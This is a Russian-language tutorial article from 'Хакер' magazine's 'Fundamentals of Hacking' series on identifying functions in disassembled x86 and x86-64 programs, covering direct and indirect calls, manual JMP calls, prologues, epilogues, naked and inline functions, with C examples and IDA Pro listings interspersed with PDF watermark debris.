исследователь. Старый автор

мышь), n2k, elraton, souriz,

журнала «Хакер».

tikus, muss, farah, jardon,

yazevsoft@gmail.com

KPNC.

 

Исследование программ, написанных на языках высокого уровня, традиционно начинается с реконструкции ключевых структур исходного языка — функций, локальных и глобальных переменных, ветвлений, циклов и так далее. Это делает дизассемблированный листинг более наглядным и значительно упрощает его анализ.

Перед тобой уже во второй раз обновленная версия цикла «Фундаментальные основы хакерства». В 2018 году Юрий Язев изменил текст Криса Касперски для соответствия новым версиям Windows и Visual Studio, а теперь внес правки с учетом отладки программ для 64-разрядной архитектуры.

Читай также улучшенные версии прошлых статей цикла:

1.Учимся анализировать программы для x86-64 с нуля

2.Используем отладчик для анализа 64-разрядных программ в Windows

3.Находим реальные адреса инструкций в исполняемых файлах x86-64

4.Осваиваем разные способы поиска защит в программах для x86-64

5.Мастер-класс по анализу исполняемых файлов в IDA Pro

Все новые версии статей доступны без платной подписки.

Цикл «Фундаментальные основы хакерства» со всеми обновлениями опубликован в виде книги, купить ее по выгодной цене ты можешь на сайте издательства «Солон-пресс».

Современные дизассемблеры достаточно интеллектуальны и львиную долю распознавания ключевых структур берут на себя. В частности, IDA Pro успешно справляется с идентификацией стандартных библиотечных функций, локальных переменных, адресуемых через регистр RSP, case-ветвлений и прочего. Однако порой IDA ошибается, вводя исследователя в заблуждение, к тому же высокая стоимость IDA Pro не всегда оправдывает применение. Например, студентам, изучающим ассемблер (а лучшее средство изучения ассемблера — дизассемблирование чужих программ), «Ида» едва ли по карману.

Разумеется, на IDA свет клином не сошелся, существуют и другие дизассемблеры — скажем, тот же DUMPBIN, входящий в штатную поставку SDK. Почему бы на худой конец не воспользоваться им? Конечно, если под рукой нет ничего лучшего, сойдет и DUMPBIN, но в этом случае об интеллектуальности дизассемблера придется забыть и пользоваться исключительно своей головой.

Первым делом мы познакомимся с результатами работы неоптимизирующих компиляторов — анализ их кода относительно прост и вполне доступен для понимания даже новичкам в программировании. Затем, освоившись с дизассемблером, перейдем к вещам более сложным — оптимизирующим компиляторам, которые генерируют очень хитрый, запутанный и витиеватый код.

Материалы к статье на GitHub

ИДЕНТИФИКАЦИЯ ФУНКЦИЙ

Функция (также называемая процедурой или подпрограммой) — основная структурная единица процедурных и объектно ориентированных языков, поэтому дизассемблирование кода обычно начинается с отождествления функций и идентификации передаваемых им аргументов. Строго говоря, термин «функция» присутствует не во всех языках, но даже там, где он присутствует, его определение варьируется от языка к языку.

Не вдаваясь в детали, мы будем понимать под функцией обособленную последовательность команд, вызываемую из различных частей программы. Функция может принимать один и более аргументов, а может не принимать ни одного; может возвращать результат своей работы, а может и не возвращать — это уже не суть важно. Ключевое свойство функции — возвращение управления на место ее вызова, а ее характерный признак — множественный вызов из различных частей программы (хотя некоторые функции вызываются лишь из одного места).

Откуда функция знает, куда следует возвратить управление? Очевидно, вызывающий код должен предварительно сохранить адрес возврата и вместе с прочими аргументами передать его вызываемой функции. Существует множество способов решения этой проблемы: можно, например, перед вызовом функции поместить в ее конец безусловный переход на адрес возврата, можно сохранить адрес возврата в специальной переменной и после завершения функции выполнить косвенный переход, используя эту переменную как операнд инструкции jump...

Не останавливаясь на обсуждении сильных и слабых сторон каждого метода, отметим, что компиляторы в подавляющем большинстве случаев используют специальные машинные команды CALL и RET, соответственно предназначенные для вызова функций и возврата из них.

Инструкция CALL закидывает адрес следующей за ней инструкции на вершину стека, а RET стягивает и передает на него управление. Тот адрес, на который указывает инструкция CALL, и есть адрес начала функции. А замыкает функцию инструкция RET (но внимание: не всякий RET обозначает конец функции!).

Таким образом, распознать функцию можно двояко: по перекрестным ссылкам, ведущим к машинной инструкции CALL, и по ее эпилогу, завершающемуся инструкцией RET. Перекрестные ссылки и эпилог в совокупности позволяют определить адреса начала и конца функции. Немного забегая вперед, заметим, что в начале многих функций присутствует характерная последовательность команд, называемая прологом, которая также пригодна и для идентификации функций. А теперь рассмотрим все эти темы поподробнее.

НЕПОСРЕДСТВЕННЫЙ ВЫЗОВ ФУНКЦИИ

Просматривая дизассемблерный код, находим все инструкции CALL — содержимое их операнда и будет искомым адресом начала функции. Адрес невиртуальных функций, вызываемых по имени, вычисляется еще на стадии компиляции, и операнд инструкции CALL в таких случаях представляет собой непосредственное значение. Благодаря этому адрес начала функции выявляется простым синтаксическим анализом: ищем контекстным поиском все подстроки CALL и запоминаем (записываем) непосредственные операнды. Рассмотрим следующий пример (Listing1):

void func(); int main()

{

int a; func(); a=0x666; func();

}

void func()

{

int a; a++;

}

Чтобы откомпилировать пример для 64-битной платформы, надо открыть соответствующую консоль — x64 Native Tools Command Prompt for VS — и уже в ней выполнить команду

cl.exe main.cpp /EHcs

Результат компиляции в IDA Pro должен выглядеть приблизительно так:

.text:0000000140001020 main

proc near

.text:0000000140001020 var_18

= dword

ptr -18h

.text:0000000140001020

 

 

.text:0000000140001020

sub

rsp, 38h

Вот мы выловили инструкцию call с непосредственным операндом, представляющим собой адрес начала функции. Точнее, ее смещение в кодовом сегменте (в данном случае в сегменте .text). Теперь можно перейти к строке . text:0000000140001000 и, дав функции собственное имя, заменить операнд инструкции call конструкцией «call Имямоейфункции».

.text:0000000140001024

call

sub_140001000

.text:0000000140001029

mov

[rsp+38h+var_18], 666h

.text:0000000140001031

call

sub_140001000

.text:0000000140001036

xor

eax,

eax

.text:0000000140001038

add

rsp,

38h

Вот нам встретилась инструкция возврата из функции, однако не факт, что это действительно конец функции, ведь функция может иметь и несколько точек выхода. Однако смотри: следом за ret расположено начало следующей функции. Поскольку функции не могут перекрываться, выходит, что данный ret — конец функции!

.text:000000014000103C

retn

 

.text:000000014000103C main

endp

 

.text:0000000140001040 sub_140001040

proc near

.text:0000000140001040

push

rbx

.text:0000000140001042

sub

rsp, 20h

.text:0000000140001046

mov

ecx, 1

.........

 

 

Судя по адресам, «наша функция» в листинге расположена выше функции main:

.text:0000000140001000

sub_140001000

proc near

.text:0000000140001000

var_18

= dword ptr -18h

На эту строку ссылаются операнды нескольких инструкций call.Следовательно, это адрес начала «нашей функции».

.text:0000000140001000

sub

rsp, 18h

.text:0000000140001004

mov

eax, [rsp+18h+var_18]

.text:0000000140001007

inc

eax

.text:0000000140001009

mov

[rsp+18h+var_18], eax

.text:000000014000100C

add

rsp, 18h

.text:0000000140001010

retn

 

.text:0000000140001010 sub_140001000

endp

Как видишь, все очень просто.

ВЫЗОВ ФУНКЦИИ ПО УКАЗАТЕЛЮ

Однако задача заметно усложняется, если программист (или компилятор) использует косвенные вызовы функций, передавая их адрес в регистре и динамически вычисляя его (адрес, а не регистр!) на стадии выполнения программы. Именно так, в частности, реализована работа с виртуальными функциями, однако в любом случае компилятор должен каким-то образом сохранить адрес функции в коде. Значит, его можно найти и вычислить! Еще проще загрузить исследуемое приложение в отладчик, установить на «подследственную» инструкцию CALL точку останова и, дождавшись всплытия отладчика, посмотреть, по какому адресу она передаст управление. Рассмотрим следующий пример (Listing2):

int func()

{

return 0;

}

int main()

{

int (*a)(); a = func; a();

}

Результат его компиляции должен в общем случае выглядеть так (функция main):

.text:0000000140001000 loc_140001000:

 

 

.text:0000000140001000

xor

eax, eax

.text:0000000140001002

retn

 

.text:0000000140001002 ; -------------------------------------------

 

 

.text:0000000140001010 main

proc near

.text:0000000140001010

 

 

.text:0000000140001010 var_18

= qword

ptr -18h

.text:0000000140001010

 

 

.text:0000000140001010

sub

rsp, 38h

.text:0000000140001014

lea

rax, loc_140001000

.text:000000014000101B

mov

[rsp+38h+var_18], rax

Вот инструкция CALL, осуществляющая косвенный вызов функции по адресу, содержащемуся в ячейке [rsp+38h+var_18]. Как узнать, что же там содержится? Поднимем глазки строчкой выше и обнаружим: lea rax, loc_140001000. Ага! Значит, управление передается по смещению loc_140001000, где располагается адрес начала функции! Теперь осталось только дать функции осмысленное имя.

.text:0000000140001020

call

[rsp+38h+var_18]

.text:0000000140001024

xor

eax,

eax

.text:0000000140001026

add

rsp,

38h

.text:000000014000102A

retn

 

 

.text:000000014000102A main

endp

 

 

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ИЩЕМ СТРУКТУРЫ ЯЗЫКОВ ВЫСОКОГО УРОВНЯ В ПРОГРАММАХ ДЛЯ X86-64

ВЫЗОВ ФУНКЦИИ ПО УКАЗАТЕЛЮ С КОМПЛЕКСНЫМ ВЫЧИСЛЕНИЕМ ЦЕЛЕВОГО АДРЕСА

В некоторых достаточно немногочисленных программах встречается и косвенный вызов функции с комплексным вычислением ее адреса. Рассмотрим следующий пример (Listing3):

int func_1()

{

return 0;

}

int func_2()

{

return 0;

}

int func_3()

{

return 0;

}

int main()

{

int x;

int a[3]={(int) func_1,(int) func_2, (int) func_3}; int (*f)();

for (x=0;x < 3;x++)

{

f=(int (*)()) a[x]; f();

}

}

Результат дизассемблирования этого кода в общем случае должен выглядеть так:

.text:0000000140001030 main

proc near

.text:0000000140001030

 

 

.text:0000000140001030 var_38

= dword

ptr -38h

.text:0000000140001030 var_30

= qword

ptr -30h

.text:0000000140001030 var_28

= dword

ptr -28h

.text:0000000140001030 var_24

= dword

ptr -24h

.text:0000000140001030 var_20

= dword

ptr -20h

.text:0000000140001030 var_18

= qword

ptr -18h

.text:0000000140001030

 

 

.text:0000000140001030

sub

rsp, 58h

.text:0000000140001034

mov

rax, cs:__security_

cookie

 

 

.text:000000014000103B

xor

rax, rsp

.text:000000014000103E

mov

[rsp+58h+var_18], rax

.text:0000000140001043

lea

rax, loc_140001000

.text:000000014000104A

mov

[rsp+58h+var_28], eax

.text:000000014000104E

lea

rax, sub_140001010

.text:0000000140001055

mov

[rsp+58h+var_24], eax

.text:0000000140001059

lea

rax, sub_140001020

.text:0000000140001060

mov

[rsp+58h+var_20], eax

.text:0000000140001064

mov

[rsp+58h+var_38], 0

.text:000000014000106C

jmp

short loc_140001078

.text:

 

 

000000014000106E ; ----------------------------------------------

.text:000000014000106E

 

 

 

.text:000000014000106E loc_14000106E:

 

; CODE XREF:

main+62↓j

 

 

 

.text:000000014000106E

 

mov

eax, [rsp+58h+var_38]

.text:0000000140001072

 

inc

eax

.text:0000000140001074

 

mov

[rsp+58h+var_38], eax

.text:0000000140001078

 

 

 

.text:0000000140001078 loc_140001078:

 

; CODE XREF:

main+3C↑j

 

 

 

.text:0000000140001078

 

cmp

[rsp+58h+var_38], 3

.text:000000014000107D

 

jge

short loc_140001094

.text:000000014000107F

 

movsxd

rax, [rsp+58h+var_38]

.text:0000000140001084

movsxd rax, [rsp+rax*4+58h+var_

28]

 

 

 

.text:0000000140001089

 

mov

[rsp+58h+var_30], rax

.text:000000014000108E

 

call

[rsp+58h+var_30]

.text:0000000140001092

 

jmp

short loc_14000106E

.text:

 

 

 

0000000140001094 ; ---------------------------------------------

 

 

 

.text:0000000140001094

 

 

 

.text:0000000140001094 loc_140001094:

 

; CODE XREF:

main+4D↑j

 

 

 

.text:0000000140001094

 

xor

eax, eax

.text:0000000140001096

 

mov

rcx, [rsp+58h+var_18]

.text:000000014000109B

 

xor

rcx, rsp

.text:000000014000109E

 

call

__security_check_

cookie

 

 

 

.text:00000001400010A3

 

add

rsp, 58h

.text:00000001400010A7

 

retn

 

В строке call [rsp+58h+var_30] происходит косвенный вызов функции. А что у нас в [rsp+58h+var_30]? Поднимаем глаза на одну строку вверх — в [rsp+58h+var_30] у нас значение rax. А чему же равен сам rax? Прокручиваем еще одну строку вверх — rax равен содержимому ячейки [ rsp+rax*4+58h+var_28]. Вот дела! Мало того, что нам надо узнать содержимое этой ячейки, так еще и предстоит вычислить ее адрес!

Чему равен RAX в этом выражении? Содержимому [rsp+58h+var_38]. А оно чему равно? «Сейчас выясним...» — бормочем мы себе под нос, прокручивая экран дизассемблера вверх. Ага, нашли: в строке 0x140001074 в него загружается содержимое EAX! Какая радость! И долго мы будем так блуждать по коду?

Конечно, можно, потратив неопределенное количество времени, усилий и бодрящего напитка, реконструировать весь ключевой алгоритм целиком (тем более что мы практически подошли к концу анализа), но где гарантия, что при этом не будут допущены ошибки?

Гораздо быстрее и надежнее загрузить исследуемую программу в отладчик, установить бряк на строку .text:000000014000108E и, дождавшись всплытия окна отладчика, посмотреть, что у нас расположено в ячейке [rsp+58h+var_30]. Отладчик будет всплывать трижды, причем каждый раз показывать новый адрес! Заметим, что определить этот факт в дизассемблере можно только после полной реконструкции алгоритма.

Однако не стоит питать излишних иллюзий о мощи отладчика. Программа может тысячу раз вызывать одну и ту же функцию, а на тысяча первый — вызвать совсем другую. Отладчик бессилен это определить. Ведь вызов такой функции может произойти в непредсказуемый момент, например при определенном сочетании времени, обрабатываемых программой данных и текущей фазы Луны. Ну не будем же мы целую вечность гонять программу под отладчиком?

Дизассемблер — дело другое. Полная реконструкция алгоритма позволит однозначно и гарантированно отследить все адреса косвенных вызовов. Вот потому дизассемблер и отладчик должны скакать в одной упряжке! Напоследок предлагаю взглянуть на такой участок дизассемблированного листинга:

.text:000000014000103E

mov

[rsp+58h+var_18], rax

.text:0000000140001043

lea

rax, loc_140001000

.text:000000014000104A

mov

[rsp+58h+var_28], eax

.text:000000014000104E

lea

rax, sub_140001010

.text:0000000140001055

mov

[rsp+58h+var_24], eax

.text:0000000140001059

lea

rax, sub_140001020

Воспользуемся средствами IDA и посмотрим, что загружается в ячейки памяти [rsp+…]. А это как раз адреса трех наших функций, последовательно размещенных компилятором друг за дружкой:

.text:0000000140001000 loc_140001000:

 

 

.text:0000000140001000

xor

eax, eax

.text:0000000140001002

retn

 

.text:0000000140001010 sub_140001010

proc near

.text:0000000140001010

xor

eax, eax

.text:0000000140001012

retn

 

.text:0000000140001012 sub_140001010

endp

 

.text:0000000140001020 sub_140001020

proc near

.text:0000000140001020

xor

eax, eax

.text:0000000140001022

retn

 

.text:0000000140001022 sub_140001020

endp

 

«РУЧНОЙ» ВЫЗОВ ФУНКЦИИ ИНСТРУКЦИЕЙ JMP

Самый тяжелый случай представляют собой «ручные» вызовы функции командой JMP с предварительной засылкой в стек адреса возврата. Вызов через

JMP в общем случае выглядит так: PUSH ret_addrr / JMP func_addr, где ret_addrr и func_addr — непосредственные или косвенные адреса возврата и начала функции соответственно. Кстати, заметим, что команды PUSH и JMP не всегда следуют одна за другой и порой бывают разделены другими командами.

Возникает резонный вопрос: чем же так плох CALL и зачем прибегать к JMP? Дело в том, что функция, вызванная по CALL, после возврата управления материнской функции всегда передает управление команде, следующей за CALL. В ряде случаев (например, при структурной обработке исключений) возникает необходимость после возврата из функции продолжать выполнение не со следующей за CALL командой, а совсем с другой ветки программы. Тогда-то и приходится вручную заносить требуемый адрес возврата и вызывать дочернюю функцию через JMP.

Идентифицировать такие функции очень сложно — контекстный поиск ничего не дает, поскольку команд JMP, использующихся для локальных переходов, в теле любой программы очень и очень много — попробуй-ка проанализируй их все! Если же этого не сделать, из поля зрения выпадут сразу две функции — вызываемая функция и функция, на которую передается управление после возврата. К сожалению, быстрых решений этой проблемы не существует, единственная зацепка — вызывающий JMP практически всегда выходит за границы функции, в теле которой он расположен. Определить же границы функции можно по эпилогу. Рассмотрим следующий пример

(Listing4):

int funct()

{

return 0;

}

int main()

{

__asm

{

LEA ESI, return_addr

PUSH ESI

JMP funct return_addr:

}

}

Поскольку присутствующее в этом коде ключевое слово asm платформенно зависимое и поддерживается только на x86, скомпилируем этот пример 32битным компилятором. Результат компиляции в общем случае должен выглядеть так:

.text:00401010 _main

proc near

 

.text:00401010

 

 

 

.text:00401010 argc

= dword

ptr

8

.text:00401010 argv

= dword

ptr

0Ch

.text:00401010 envp

= dword

ptr

10h

.text:00401010

 

 

 

.text:00401010

push

ebp

 

.text:00401011

mov

ebp,

esp

.text:00401013

push

esi

 

.text:00401014

lea

esi,

loc_401020

.text:0040101A

push

esi

 

.text:0040101B

jmp

sub_401000

...

 

 

 

Смотри, казалось бы, тривиальный безусловный переход, что в нем такого? Ан нет! Это не простой переход, это замаскированный вызов функции! Откуда он следует? Давай-ка перейдем по смещению sub_401000 и посмотрим:

.text:00401000 sub_401000

proc near

.text:00401000

push

ebp

.text:00401001

mov

ebp, esp

.text:00401003

xor

eax, eax

.text:00401005

pop

ebp

.text:00401006

retn

 

.text:00401006 sub_401000

endp

 

Как ты думаешь, куда этот ret возвращает управление? Естественно, по адресу, лежащему на верхушке стека. А что у нас лежит на стеке? PUSH EBP из строки 0x401000, обратно выталкивается инструкцией POP из строки 0x401005... Возвращаемся назад, к месту безусловного перехода, и начинаем медленно прокручивать экран дизассемблера вверх, отслеживая все обращения к стеку. Ага, попалась птичка!

Инструкция PUSH ESI из строки 40101A закидывает на вершину стека содержимое регистра ESI, а он сам, в свою очередь, строкой выше принимает «на грудь» значение loc_401020 — это и есть адрес начала функции, вызываемой командой JMP (вернее, не адрес, а смещение, но это не принципиально важно):

.text:00401020 loc_401020:

 

 

.text:00401020

pop

esi

.text:00401021

pop

ebp

.text:00401022

retn

 

.text:00401022 _main

endp

 

АВТОМАТИЧЕСКАЯ ИДЕНТИФИКАЦИЯ ФУНКЦИЙ ПОСРЕДСТВОМ IDA PRO

Дизассемблер IDA Pro способен анализировать операнды инструкций CALL, что позволяет ему автоматически разбивать программу на функции. Причем IDA вполне успешно справляется с большинством косвенных вызовов. Между тем современные версии дизассемблера на раз-два справляются с комплексными и «ручными» вызовами функций командой JMP.

«Ида» успешно распознала «ручной» вызов функции

ПРОЛОГ

На платформе IA-32 большинство неоптимизирующих компиляторов помещают в начало функции следующий код, называемый прологом:

push ebp

mov ebp, esp

sub esp, xx

К сожалению, на x64 нет такой стройной последовательности инструкций. У каждой функции пролог существенно отличается. Поэтому рассмотрим пролог функций для x86.

В общих чертах назначение пролога сводится к следующему: если регистр EBP используется для адресации локальных переменных (как часто и бывает), то перед использованием он должен быть сохранен в стеке (иначе вызываемая функция «сорвет крышу» материнской), затем в EBP копируется текущее значение регистра указателя вершины стека (ESP) — происходит так называемое открытие кадра стека, и значение ESP уменьшается на размер области памяти, выделенной под локальные переменные.

Последовательность PUSH EBP / MOV EBP,ESP / SUB ESP,xx может служить хорошей сигнатурой, чтобы найти все функции в исследуемом файле, включая и те, на которые нет прямых ссылок. Такой прием, в частности, использует в своей работе IDA Pro, однако оптимизирующие компиляторы умеют адресовать локальные переменные через регистр ESP и используют EBP, как и любой другой регистр общего назначения. Пролог оптимизированных функций состоит из одной лишь команды SUB ESP, xxx — последовательность слишком короткая для использования ее в качестве сигнатуры функции, увы. Более подробный рассказ об эпилогах функций нас ждет впереди.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИЩЕМ СТРУКТУРЫ ЯЗЫКОВ ВЫСОКОГО УРОВНЯ В ПРОГРАММАХ ДЛЯ X86-64

ЭПИЛОГ

С эпилогом такая же ситуация, на x64 отсутствует постоянная последовательность инструкций. Однако, поскольку 32-битных приложений так много, что их придется анализировать еще вечность, нам необходимо знать, как выглядит эпилог в программах на x86.

В конце своей жизни функция закрывает кадр стека, перемещая указатель вершины стека «вниз», и восстанавливает прежнее значение EBP (если только оптимизирующий компилятор не адресовал локальные переменные через ESP, используя EBP как обычный регистр общего назначения). Эпилог функции может выглядеть двояко: либо ESP увеличивается на нужное значение командой ADD, либо в него копируется значение EBP, указывающее на низ кадра стека. Обобщенный код эпилога функции выглядит так.

Эпилог 1:

pop

ebp

add

esp, 64h

retn

 

Эпилог 2:

mov

esp,

ebp

pop

ebp

 

retn

 

 

Важно отметить: между командами POP EBP / ADD ESP, xxx и MOV ESP,EBP / POP EBP могут находиться и другие команды — они не обязательно должны следовать вплотную друг к другу. Поэтому для поиска эпилогов контекстный поиск непригоден — требуется применять поиск по маске.

Если функция написана с учетом соглашения PASCAL, то ей приходится самостоятельно очищать стек от аргументов. В подавляющем большинстве случаев это делается инструкцией RET n, где n — количество байтов, снимаемых из стека после возврата. Функции же, соблюдающие С-соглашение, предоставляют очистку стека вызывающему их коду и всегда оканчиваются командой RET. API-функции Windows представляют собой комбинацию соглашений С и Pascal — аргументы заносятся в стек справа налево, но очищает стек сама функция.

Таким образом, RET может служить достаточным признаком эпилога функции, но не всякий эпилог — это конец. Если функция имеет в своем теле несколько операторов return (как часто и бывает), компилятор в общем случае генерирует для каждого из них свой собственный эпилог. Необходимо обратить внимание, находится ли за концом эпилога новый пролог, или продолжается код старой функции.

Также нельзя забывать и о том, что компиляторы обычно (но не всегда!) не помещают в исполняемый файл код, никогда не получающий управления. Иначе говоря, у функции будет всего один эпилог, а все находящееся после первого return будет выброшено как ненужное. Между тем не стоит спешить вперед паровоза. Откомпилируем с параметрами по умолчанию следующий пример (Listing5):

int func(int a)

{

return a++; a=1/a; return a;

}

int main()

{

func(1);

}

Откомпилированный результат будет выглядеть так (приведен код только функции func):

.text:00401000 sub_401000

proc near

.text:00401000

 

 

.text:00401000 var_4

 

= dword ptr -4

.text:00401000 arg_0

 

= dword ptr 8

.text:00401000

 

 

.text:00401000

push

ebp

.text:00401001

mov

ebp, esp

.text:00401003

push

ecx

.text:00401004; Копирование значения аргумента в регистр EAX.

.text:00401004

mov

eax, [ebp+arg_0]

.text:00401007; Перекладываем его в переменную var_4.

.text:00401007

mov

[ebp+var_4], eax

.text:0040100A; Значение аргумента в ECX.

.text:0040100A

mov

ecx, [ebp+arg_0]

.text:0040100D; Производим инкремент значения в регистре.

.text:0040100D

add

ecx, 1

.text:00401010; Инкрементированное значение пишем в аргумент,

.text:00401010; который служит переменной.

.text:00401010

mov

[ebp+arg_0], ecx

.text:00401013; В EAX помещается начальное значение аргумента,

.text:00401013; оно и возвращается.

.text:00401013

mov

eax, [ebp+var_4]

.text:00401016; Осуществляем безусловный переход на эпилог функции.

.text:00401016

jmp

short loc_401027

.text:00401018; ------------------------------------------

.text:00401018; В EAX помещаем 1.

.text:00401018

mov

eax, 1

.text:0040101D; Расширяем EAX до EDX:EAX (нужно для деления).

.text:0040101D

cdq

 

.text:0040101E; Выполняем деление единицы на аргумент.

.text:0040101E

idiv

[ebp+arg_0]

.text:00401021; Частное помещаем в переменную.

.text:00401021

mov [ebp+arg_0], eax

.text:00401024; Возвращаем обратно в регистр.

.text:00401024

mov

eax, [ebp+arg_0]

.text:

 

 

00401024 ; Код

для деления остался, компилятор не посчитал нужным

.text:00401024 ; его убрать, хотя он недостижим.

.text:00401027

 

 

 

.text:00401027 loc_401027:

; CODE XREF: sub_401000+16↑j

.text:00401027; При этом эпилог только один.

.text:00401027

mov

esp, ebp

.text:00401029

 

pop

ebp

.text:0040102A

 

retn

 

.text:0040102A

sub_401000

endp

Теперь посмотрим, какой код сгенерирует компилятор, когда внеплановый выход из функции происходит при срабатывании некоторого условия

(Listing6):

int func(int a)

{

if (a != 0) return a++;

return 1/a;

}

int main()

{

func(1);

}

Результат компиляции (только func):

.text:00401000 sub_401000

proc near

; CODE XREF: _

main+5↓p

 

 

 

.text:00401000

 

 

 

.text:00401000 var_4

= dword ptr -4

.text:00401000 arg_0

= dword ptr

8

.text:00401000

 

 

 

.text:00401000

push

ebp

 

.text:00401001

mov

ebp, esp

 

.text:00401003

push

ecx

 

.text:00401004; Сравниваем аргумент функции с нулем.

.text:00401004

cmp [ebp+arg_0], 0

 

.text:00401008; Если они равны, переходим на метку;

.text:00401008

jz short loc_40101E

 

.text:0040100A; Если же не

равны, помещаем значение аргумента в

регистр EAX.

 

 

 

.text:0040100A

mov

eax, [ebp+arg_0]

 

.text:0040100D; Оттуда — в

переменную var_4

 

.text:0040100D

mov

[ebp+var_4], eax

 

.text:00401010; Значение аргумента копируется в регистр

ECX, а последний инкрементируем.

 

.text:00401010

mov

ecx, [ebp+arg_0]

 

.text:00401013

add

ecx, 1

 

.text:

00401016; Инкрементированное значение помещаем в аргумент,

выступающий переменной.

 

.text:00401016

mov

[ebp+arg_0], ecx

.text:00401019; В

 

 

EAX помещаем начальное значение аргумента, его и возвращаем.

.text:00401019

mov

eax, [ebp+var_4]

.text:0040101C; Переход на

эпилог.

.text:0040101C

jmp

short loc_401027

.text:0040101E ; ------------------------------------------

 

 

.text:0040101E

 

 

.text:0040101E loc_40101E:

; CODE XREF: sub_401000+8↑j

.text:0040101E; В EAX помещаем 1.

.text:0040101E

mov

eax, 1

.text:00401023; Расширяем EAX до EDX:EAX (нужно для деления).

.text:00401023 cdq

.text:00401024; Деление EDX:EAX, где находится 1, на аргумент,

равный 0.

 

 

 

.text:00401024

idiv [ebp+arg_0]

.text:00401027

 

 

 

.text:00401027 loc_401027:

; CODE XREF: sub_401000+1C↑j

.text:00401027; Это явно эпилог.

.text:00401027

mov

esp, ebp

.text:00401029

pop

 

ebp

.text:0040102A

retn

 

 

.text:0040102A sub_401000

 

endp

Как и в предыдущем случае, компилятор создал только один эпилог. Обрати внимание: в начале функции в строке 0x401004 аргумент сравнивается с нулем, если условие выполняется, происходит переход на метку loc_40101E, где выполняется деление, за которым сразу следует эпилог. Если же условие в строке 0x401004 не соблюдено, выполняется сложение и происходит безусловный прыжок на эпилог.

Специальное замечание

Начиная с процессора 80286, в наборе команд появились две инструкции — ENTER и LEAVE, предназначенные специально для открытия и закрытия кадра стека. Однако они практически никогда не используются современными компиляторами. Почему?

Причина в том, что ENTER и LEAVE очень медлительны, намного медлитель-

нее PUSH EBP / MOV EBP,ESP / SUB ESB, xxx и MOV ESP,EBP / POP EBP. Так,

на старом добром Pentium ENTER выполняется за десять тактов, а приведенная последовательность команд — за семь. Аналогично LEAVE требует пять тактов, хотя ту же операцию можно выполнить за два (и даже быстрее, если разделить MOV ESP,EBP / POP EBP какой-нибудь командой).

Поэтому современный исследователь никогда не столкнется ни с ENTER, ни с LEAVE. Хотя помнить об их назначении будет нелишне. Мало ли, вдруг придется дизассемблировать древние программы или программы, написанные на ассемблере, — не секрет, что многие пишущие на ассемблере очень плохо знают тонкости работы процессора и их «ручная оптимизация» заметно уступает компилятору по производительности.

«ГОЛЫЕ» (NAKED) ФУНКЦИИ

Компилятор Microsoft Visual C++ поддерживает нестандартный квалификатор naked, позволяющий программистам создавать функции без пролога и эпилога. Компилятор даже не помещает в конце функции RET, и это приходится делать «вручную», прибегая к ассемблерной вставке __asm{ret} (использование return не приводит к желаемому результату).

Вообще-то поддержка naked-функций задумывалась исключительно для написания драйверов на чистом С (с небольшой примесью ассемблерных включений), но она нашла неожиданное признание и среди разработчиков защитных механизмов. Действительно, приятно иметь возможность «ручного» создания функций и не беспокоиться, что их непредсказуемым образом «изуродует» компилятор.

Для нас же, кодокопателей, в первом приближении это означает, что в программе может встретиться одна или несколько функций, не содержащих ни пролога, ни эпилога. Ну и что в этом страшного? Оптимизирующие компиляторы так же выкидывают пролог, а от эпилога оставляют один лишь RET, но функции элементарно идентифицируются по вызывающей их инструкции

CALL.

ИДЕНТИФИКАЦИЯ ВСТРАИВАЕМЫХ (INLINE) ФУНКЦИЙ

Самый эффективный способ избавиться от накладных расходов на вызов функций — не вызывать их. В самом деле, почему бы не встроить код функции непосредственно в саму вызывающую функцию? Конечно, это ощутимо увеличит размер (и тем ощутимее, чем из больших мест функция вызывается), но зато значительно увеличит скорость выполнения программы (и тем значительнее, чем чаще развернутая функция вызывается).

